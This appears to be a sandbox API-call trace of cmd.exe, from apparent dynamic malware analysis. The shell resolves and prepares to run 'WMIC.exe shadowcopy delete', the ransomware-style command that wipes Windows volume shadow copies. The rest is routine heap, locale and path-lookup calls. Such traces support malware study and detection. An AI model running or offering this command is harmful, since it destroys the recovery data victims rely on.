	[0196.004] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11
	[0196.004] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x1ef440 | out: lpFindFileData=0x1ef440*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xe90000e9, cFileName="Users", cAlternateFileName="")) returned 0x251390
	[0196.005] FindClose (in: hFindFile=0x251390 | out: hFindFile=0x251390) returned 1
	[0196.005] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x1ef440 | out: lpFindFileData=0x1ef440*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xe90000e9, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x251390
	[0196.005] FindClose (in: hFindFile=0x251390 | out: hFindFile=0x251390) returned 1
	[0196.006] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20
	[0196.006] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x1ef440 | out: lpFindFileData=0x1ef440*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xa9fd370, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0xa9fd370, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xe90000e9, cFileName="Desktop", cAlternateFileName="")) returned 0x251390
	[0196.006] FindClose (in: hFindFile=0x251390 | out: hFindFile=0x251390) returned 1
	[0196.006] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11
	[0196.006] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1
	[0196.006] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1
	[0196.007] GetProcessHeap () returned 0x250000
	[0196.007] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26b6a0 | out: hHeap=0x250000) returned 1
	[0196.007] GetEnvironmentStringsW () returned 0x268a30*
	[0196.007] GetProcessHeap () returned 0x250000
	[0196.007] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0xae8) returned 0x26ac00
	[0196.007] FreeEnvironmentStringsW (penv=0x268a30) returned 1
	[0196.007] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a04c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25
	[0196.007] GetProcessHeap () returned 0x250000
	[0196.007] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x251320 | out: hHeap=0x250000) returned 1
	[0196.007] GetProcessHeap () returned 0x250000
	[0196.007] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0x4016) returned 0x26cc30
	[0196.008] GetProcessHeap () returned 0x250000
	[0196.008] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0x4e) returned 0x26b6f0
	[0196.009] GetProcessHeap () returned 0x250000
	[0196.009] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0x4010) returned 0x270c50
	[0196.009] GetProcessHeap () returned 0x250000
	[0196.009] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0x4010) returned 0x274c70
	[0196.014] _wcsnicmp (_String1="WMIC", _String2="cmd ", _MaxCount=0x4) returned 20
	[0196.016] GetProcessHeap () returned 0x250000
	[0196.016] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0x420) returned 0x26b750
	[0196.016] SetErrorMode (uMode=0x0) returned 0x0
	[0196.017] SetErrorMode (uMode=0x1) returned 0x0
	[0196.017] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x26b760, lpFilePart=0x1ef5f0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x1ef5f0*="Desktop") returned 0x25
	[0196.017] SetErrorMode (uMode=0x0) returned 0x1
	[0196.017] GetProcessHeap () returned 0x250000
	[0196.017] RtlReAllocateHeap (Heap=0x250000, Flags=0x0, Ptr=0x26b750, Size=0x92) returned 0x26b750
	[0196.017] GetProcessHeap () returned 0x250000
	[0196.017] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26b750) returned 0x92
	[0196.017] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a03f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63
	[0196.018] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1
	[0196.018] GetProcessHeap () returned 0x250000
	[0196.018] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0x128) returned 0x26b800
	[0196.018] GetProcessHeap () returned 0x250000
	[0196.018] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0x240) returned 0x26b930
	[0196.742] GetProcessHeap () returned 0x250000
	[0196.742] RtlReAllocateHeap (Heap=0x250000, Flags=0x0, Ptr=0x26b930, Size=0x12a) returned 0x26b930
	[0196.742] GetProcessHeap () returned 0x250000
	[0196.742] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26b930) returned 0x12a
	[0196.742] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a03f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0196.742] GetProcessHeap () returned 0x250000
	[0196.742] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0xe8) returned 0x26ba70
	[0196.743] GetProcessHeap () returned 0x250000
	[0196.743] RtlReAllocateHeap (Heap=0x250000, Flags=0x0, Ptr=0x26ba70, Size=0x7e) returned 0x26ba70
	[0196.743] GetProcessHeap () returned 0x250000
	[0196.743] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26ba70) returned 0x7e
	[0196.744] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0196.744] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WMIC.exe shadowcopy delete", fInfoLevelId=0x1, lpFindFileData=0x1ef360, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1ef360) returned 0xffffffffffffffff
	[0196.744] GetLastError () returned 0x2
	[0196.745] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WMIC.exe shadowcopy delete.*", fInfoLevelId=0x1, lpFindFileData=0x1ef360, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1ef360) returned 0xffffffffffffffff
	[0196.745] GetLastError () returned 0x2
	[0196.745] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WMIC.exe shadowcopy delete", fInfoLevelId=0x1, lpFindFileData=0x1ef360, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1ef360) returned 0xffffffffffffffff
	[0196.745] GetLastError () returned 0x2
	[0196.745] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0196.746] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\WMIC.exe shadowcopy delete", fInfoLevelId=0x1, lpFindFileData=0x1ef360, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1ef360) returned 0xffffffffffffffff
	[0196.746] GetLastError () returned 0x2
	[0196.746] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\WMIC.exe shadowcopy delete.*", fInfoLevelId=0x1, lpFindFileData=0x1ef360, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1ef360) returned 0xffffffffffffffff
	[0196.747] GetLastError () returned 0x2
	[0196.747] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\WMIC.exe shadowcopy delete", fInfoLevelId=0x1, lpFindFileData=0x1ef360, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1ef360) returned 0xffffffffffffffff
	[0196.747] GetLastError () returned 0x2
	[0196.747] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0196.748] FindFirstFileExW (in: lpFileName="C:\\Windows\\WMIC.exe shadowcopy delete", fInfoLevelId=0x1, lpFindFileData=0x1ef360, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1ef360) returned 0xffffffffffffffff
	[0196.748] GetLastError () returned 0x2
	[0196.748] FindFirstFileExW (in: lpFileName="C:\\Windows\\WMIC.exe shadowcopy delete.*", fInfoLevelId=0x1, lpFindFileData=0x1ef360, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1ef360) returned 0xffffffffffffffff
	[0196.748] GetLastError () returned 0x2
	[0196.748] FindFirstFileExW (in: lpFileName="C:\\Windows\\WMIC.exe shadowcopy delete", fInfoLevelId=0x1, lpFindFileData=0x1ef360, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1ef360) returned 0xffffffffffffffff
	[0196.749] GetLastError () returned 0x2
	[0196.749] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0196.749] FindFirstFileExW (in: lpFileName="C:\\Windows\\System32\\Wbem\\WMIC.exe shadowcopy delete", fInfoLevelId=0x1, lpFindFileData=0x1ef360, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1ef360) returned 0xffffffffffffffff
	[0196.750] GetLastError () returned 0x2
	[0196.750] FindFirstFileExW (in: lpFileName="C:\\Windows\\System32\\Wbem\\WMIC.exe shadowcopy delete.*", fInfoLevelId=0x1, lpFindFileData=0x1ef360, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1ef360) returned 0xffffffffffffffff
	[0196.750] GetLastError () returned 0x2
	[0196.750] FindFirstFileExW (in: lpFileName="C:\\Windows\\System32\\Wbem\\WMIC.exe shadowcopy delete", fInfoLevelId=0x1, lpFindFileData=0x1ef360, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1ef360) returned 0xffffffffffffffff
	[0196.751] GetLastError () returned 0x2
	[0196.751] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0196.751] FindFirstFileExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\WMIC.exe shadowcopy delete", fInfoLevelId=0x1, lpFindFileData=0x1ef360, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1ef360) returned 0xffffffffffffffff
	[0196.758] GetLastError () returned 0x2
	[0196.758] FindFirstFileExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\WMIC.exe shadowcopy delete.*", fInfoLevelId=0x1, lpFindFileData=0x1ef360, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1ef360) returned 0xffffffffffffffff
	[0196.764] GetLastError () returned 0x2
	[0196.764] FindFirstFileExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\WMIC.exe shadowcopy delete", fInfoLevelId=0x1, lpFindFileData=0x1ef360, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1ef360) returned 0xffffffffffffffff
	[0196.770] GetLastError () returned 0x2
	[0196.770] GetProcessHeap () returned 0x250000
	[0196.770] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x270c50 | out: hHeap=0x250000) returned 1
	[0196.770] GetProcessHeap () returned 0x250000
	[0196.770] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x274c70 | out: hHeap=0x250000) returned 1
	[0196.771] GetProcessHeap () returned 0x250000
	[0196.771] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26cc30 | out: hHeap=0x250000) returned 1
	[0196.771] GetConsoleOutputCP () returned 0x1b5
	[0197.087] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a04bfe0 | out: lpCPInfo=0x4a04bfe0) returned 1
	[0197.087] GetUserDefaultLCID () returned 0x409
	[0197.088] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4a047b50, cchData=8 | out: lpLCData=":") returned 2
	[0197.088] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x1ef840, cchData=128 | out: lpLCData="0") returned 2
	[0197.089] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x1ef840, cchData=128 | out: lpLCData="0") returned 2
	[0197.089] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x1ef840, cchData=128 | out: lpLCData="1") returned 2
	[0197.089] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4a05a740, cchData=8 | out: lpLCData="/") returned 2
	[0197.089] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4a05a4a0, cchData=32 | out: lpLCData="Mon") returned 4
	[0197.089] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4a05a460, cchData=32 | out: lpLCData="Tue") returned 4
	[0197.089] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4a05a420, cchData=32 | out: lpLCData="Wed") returned 4
	[0197.089] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4a05a3e0, cchData=32 | out: lpLCData="Thu") returned 4
	[0197.090] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4a05a3a0, cchData=32 | out: lpLCData="Fri") returned 4
	[0197.090] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4a05a360, cchData=32 | out: lpLCData="Sat") returned 4
	[0197.090] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4a05a700, cchData=32 | out: lpLCData="Sun") returned 4
	[0197.090] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4a047b40, cchData=8 | out: lpLCData=".") returned 2
	[0197.090] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4a05a4e0, cchData=8 | out: lpLCData=",") returned 2
	[0197.090] setlocale (category=0, locale=".OCP") returned="English_United States.437"
	[0197.092] GetProcessHeap () returned 0x250000
	[0197.092] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x20c) returned 0x26bb70
	[0197.092] GetConsoleTitleW (in: lpConsoleTitle=0x26bb70, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b
	[0197.093] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76f20000
	[0197.093] GetProcAddress (hModule=0x76f20000, lpProcName="CopyFileExW") returned 0x76f323d0
	[0197.093] GetProcAddress (hModule=0x76f20000, lpProcName="IsDebuggerPresent") returned 0x76f28290
	[0197.093] GetProcAddress (hModule=0x76f20000, lpProcName="SetConsoleInputExeNameW") returned 0x76f317e0
	[0197.094] GetProcessHeap () returned 0x250000
	[0197.094] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0x4012) returned 0x26cc30
	[0197.094] GetProcessHeap () returned 0x250000
	[0197.094] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26cc30 | out: hHeap=0x250000) returned 1
	[0197.094] GetProcessHeap () returned 0x250000
	[0197.094] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0xb0) returned 0x26bd90
	[0197.095] GetProcessHeap () returned 0x250000
	[0197.095] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0x22) returned 0x264590
	[0197.097] GetProcessHeap () returned 0x250000
	[0197.097] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0x36) returned 0x2664a0
	[0197.098] GetConsoleTitleW (in: lpConsoleTitle=0x1ef750, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b
	[0197.098] GetFileAttributesW (lpFileName="WMIC.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\wmic.exe")) returned 0xffffffff
	[0197.099] _wcsicmp (_String1="WMIC", _String2="DIR") returned 19
	[0197.099] _wcsicmp (_String1="WMIC", _String2="ERASE") returned 18
	[0197.099] _wcsicmp (_String1="WMIC", _String2="DEL") returned 19
	[0197.099] _wcsicmp (_String1="WMIC", _String2="TYPE") returned 3
	[0197.099] _wcsicmp (_String1="WMIC", _String2="COPY") returned 20
	[0197.099] _wcsicmp (_String1="WMIC", _String2="CD") returned 20
	[0197.099] _wcsicmp (_String1="WMIC", _String2="CHDIR") returned 20
	[0197.099] _wcsicmp (_String1="WMIC", _String2="RENAME") returned 5
	[0197.099] _wcsicmp (_String1="WMIC", _String2="REN") returned 5
	[0197.099] _wcsicmp (_String1="WMIC", _String2="ECHO") returned 18
	[0197.099] _wcsicmp (_String1="WMIC", _String2="SET") returned 4
	[0197.099] _wcsicmp (_String1="WMIC", _String2="PAUSE") returned 7
	[0197.099] _wcsicmp (_String1="WMIC", _String2="DATE") returned 19
	[0197.099] _wcsicmp (_String1="WMIC", _String2="TIME") returned 3
	[0197.099] _wcsicmp (_String1="WMIC", _String2="PROMPT") returned 7
	[0197.100] _wcsicmp (_String1="WMIC", _String2="MD") returned 10
	[0197.100] _wcsicmp (_String1="WMIC", _String2="MKDIR") returned 10
	[0197.100] _wcsicmp (_String1="WMIC", _String2="RD") returned 5
	[0197.100] _wcsicmp (_String1="WMIC", _String2="RMDIR") returned 5
	[0197.100] _wcsicmp (_String1="WMIC", _String2="PATH") returned 7
	[0197.100] _wcsicmp (_String1="WMIC", _String2="GOTO") returned 16
	[0197.100] _wcsicmp (_String1="WMIC", _String2="SHIFT") returned 4
	[0197.100] _wcsicmp (_String1="WMIC", _String2="CLS") returned 20
	[0197.100] _wcsicmp (_String1="WMIC", _String2="CALL") returned 20
	[0197.100] _wcsicmp (_String1="WMIC", _String2="VERIFY") returned 1
	[0197.100] _wcsicmp (_String1="WMIC", _String2="VER") returned 1
	[0197.100] _wcsicmp (_String1="WMIC", _String2="VOL") returned 1
	[0197.101] _wcsicmp (_String1="WMIC", _String2="EXIT") returned 18
	[0197.101] _wcsicmp (_String1="WMIC", _String2="SETLOCAL") returned 4
	[0197.101] _wcsicmp (_String1="WMIC", _String2="ENDLOCAL") returned 18
	[0197.101] _wcsicmp (_String1="WMIC", _String2="TITLE") returned 3
	[0197.101] _wcsicmp (_String1="WMIC", _String2="START") returned 4
	[0197.101] _wcsicmp (_String1="WMIC", _String2="DPATH") returned 19
	[0197.101] _wcsicmp (_String1="WMIC", _String2="KEYS") returned 12
	[0197.101] _wcsicmp (_String1="WMIC", _String2="MOVE") returned 10
	[0197.101] _wcsicmp (_String1="WMIC", _String2="PUSHD") returned 7
	[0197.101] _wcsicmp (_String1="WMIC", _String2="POPD") returned 7
	[0197.101] _wcsicmp (_String1="WMIC", _String2="ASSOC") returned 22
	[0197.101] _wcsicmp (_String1="WMIC", _String2="FTYPE") returned 17
	[0197.101] _wcsicmp (_String1="WMIC", _String2="BREAK") returned 21
	[0197.102] _wcsicmp (_String1="WMIC", _String2="COLOR") returned 20
	[0197.102] _wcsicmp (_String1="WMIC", _String2="MKLINK") returned 10
	[0197.102] _wcsicmp (_String1="WMIC", _String2="DIR") returned 19
	[0197.102] _wcsicmp (_String1="WMIC", _String2="ERASE") returned 18
	[0197.102] _wcsicmp (_String1="WMIC", _String2="DEL") returned 19
	[0197.102] _wcsicmp (_String1="WMIC", _String2="TYPE") returned 3
	[0197.102] _wcsicmp (_String1="WMIC", _String2="COPY") returned 20
	[0197.102] _wcsicmp (_String1="WMIC", _String2="CD") returned 20
	[0197.102] _wcsicmp (_String1="WMIC", _String2="CHDIR") returned 20
	[0197.102] _wcsicmp (_String1="WMIC", _String2="RENAME") returned 5
	[0197.102] _wcsicmp (_String1="WMIC", _String2="REN") returned 5
	[0197.102] _wcsicmp (_String1="WMIC", _String2="ECHO") returned 18
	[0197.103] _wcsicmp (_String1="WMIC", _String2="SET") returned 4
	[0197.103] _wcsicmp (_String1="WMIC", _String2="PAUSE") returned 7
	[0197.103] _wcsicmp (_String1="WMIC", _String2="DATE") returned 19
	[0197.103] _wcsicmp (_String1="WMIC", _String2="TIME") returned 3
	[0197.103] _wcsicmp (_String1="WMIC", _String2="PROMPT") returned 7
	[0197.103] _wcsicmp (_String1="WMIC", _String2="MD") returned 10
	[0197.103] _wcsicmp (_String1="WMIC", _String2="MKDIR") returned 10
	[0197.103] _wcsicmp (_String1="WMIC", _String2="RD") returned 5
	[0197.103] _wcsicmp (_String1="WMIC", _String2="RMDIR") returned 5
	[0197.103] _wcsicmp (_String1="WMIC", _String2="PATH") returned 7
	[0197.103] _wcsicmp (_String1="WMIC", _String2="GOTO") returned 16
	[0197.103] _wcsicmp (_String1="WMIC", _String2="SHIFT") returned 4
	[0197.104] _wcsicmp (_String1="WMIC", _String2="CLS") returned 20
	[0197.104] _wcsicmp (_String1="WMIC", _String2="CALL") returned 20
	[0197.104] _wcsicmp (_String1="WMIC", _String2="VERIFY") returned 1
	[0197.104] _wcsicmp (_String1="WMIC", _String2="VER") returned 1
	[0197.104] _wcsicmp (_String1="WMIC", _String2="VOL") returned 1
	[0197.104] _wcsicmp (_String1="WMIC", _String2="EXIT") returned 18
	[0197.104] _wcsicmp (_String1="WMIC", _String2="SETLOCAL") returned 4
	[0197.104] _wcsicmp (_String1="WMIC", _String2="ENDLOCAL") returned 18
	[0197.104] _wcsicmp (_String1="WMIC", _String2="TITLE") returned 3
	[0197.104] _wcsicmp (_String1="WMIC", _String2="START") returned 4
	[0197.104] _wcsicmp (_String1="WMIC", _String2="DPATH") returned 19
	[0197.105] _wcsicmp (_String1="WMIC", _String2="KEYS") returned 12
	[0197.105] _wcsicmp (_String1="WMIC", _String2="MOVE") returned 10
	[0197.105] _wcsicmp (_String1="WMIC", _String2="PUSHD") returned 7
	[0197.105] _wcsicmp (_String1="WMIC", _String2="POPD") returned 7
	[0197.105] _wcsicmp (_String1="WMIC", _String2="ASSOC") returned 22
	[0197.105] _wcsicmp (_String1="WMIC", _String2="FTYPE") returned 17
	[0197.105] _wcsicmp (_String1="WMIC", _String2="BREAK") returned 21
	[0197.105] _wcsicmp (_String1="WMIC", _String2="COLOR") returned 20
	[0197.105] _wcsicmp (_String1="WMIC", _String2="MKLINK") returned 10
	[0197.105] _wcsicmp (_String1="WMIC", _String2="FOR") returned 17
	[0197.105] _wcsicmp (_String1="WMIC", _String2="IF") returned 14
	[0197.106] _wcsicmp (_String1="WMIC", _String2="REM") returned 5
	[0197.106] GetProcessHeap () returned 0x250000
	[0197.106] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0x218) returned 0x26be50
	[0197.106] GetProcessHeap () returned 0x250000
	[0197.106] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0x48) returned 0x26c070
	[0197.106] GetProcessHeap () returned 0x250000
	[0197.106] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0x420) returned 0x251320
	[0197.106] SetErrorMode (uMode=0x0) returned 0x0
	[0197.107] SetErrorMode (uMode=0x1) returned 0x0
	[0197.107] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x251330, lpFilePart=0x1eefe0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x1eefe0*="Desktop") returned 0x25
	[0197.107] SetErrorMode (uMode=0x0) returned 0x1
	[0197.107] GetProcessHeap () returned 0x250000
	[0197.107] RtlReAllocateHeap (Heap=0x250000, Flags=0x0, Ptr=0x251320, Size=0x6e) returned 0x251320
	[0197.107] GetProcessHeap () returned 0x250000
	[0197.107] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x251320) returned 0x6e
	[0197.107] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a03f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63
	[0197.107] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1
	[0197.108] GetProcessHeap () returned 0x250000
	[0197.108] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0x128) returned 0x2513a0
	[0197.108] GetProcessHeap () returned 0x250000
	[0197.108] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0x240) returned 0x2514d0
	[0197.108] GetProcessHeap () returned 0x250000
	[0197.108] RtlReAllocateHeap (Heap=0x250000, Flags=0x0, Ptr=0x2514d0, Size=0x12a) returned 0x2514d0
	[0197.108] GetProcessHeap () returned 0x250000
	[0197.108] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x2514d0) returned 0x12a
	[0197.108] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a03f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0197.108] GetProcessHeap () returned 0x250000
	[0197.108] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0xe8) returned 0x251610
	[0197.108] GetProcessHeap () returned 0x250000
	[0197.108] RtlReAllocateHeap (Heap=0x250000, Flags=0x0, Ptr=0x251610, Size=0x7e) returned 0x251610
	[0197.109] GetProcessHeap () returned 0x250000
	[0197.109] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x251610) returned 0x7e
	[0197.109] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0197.109] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WMIC.exe", fInfoLevelId=0x1, lpFindFileData=0x1eed50, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1eed50) returned 0xffffffffffffffff
	[0197.109] GetLastError () returned 0x2
	[0197.110] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WMIC.exe.*", fInfoLevelId=0x1, lpFindFileData=0x1eed50, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1eed50) returned 0xffffffffffffffff
	[0197.110] GetLastError () returned 0x2
	[0197.110] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WMIC.exe", fInfoLevelId=0x1, lpFindFileData=0x1eed50, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1eed50) returned 0xffffffffffffffff
	[0197.110] GetLastError () returned 0x2
	[0197.110] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0197.111] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\WMIC.exe", fInfoLevelId=0x1, lpFindFileData=0x1eed50, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1eed50) returned 0xffffffffffffffff
	[0197.111] GetLastError () returned 0x2
	[0197.111] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\WMIC.exe.*", fInfoLevelId=0x1, lpFindFileData=0x1eed50, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1eed50) returned 0xffffffffffffffff
	[0197.111] GetLastError () returned 0x2
	[0197.112] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\WMIC.exe", fInfoLevelId=0x1, lpFindFileData=0x1eed50, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1eed50) returned 0xffffffffffffffff
	[0197.112] GetLastError () returned 0x2
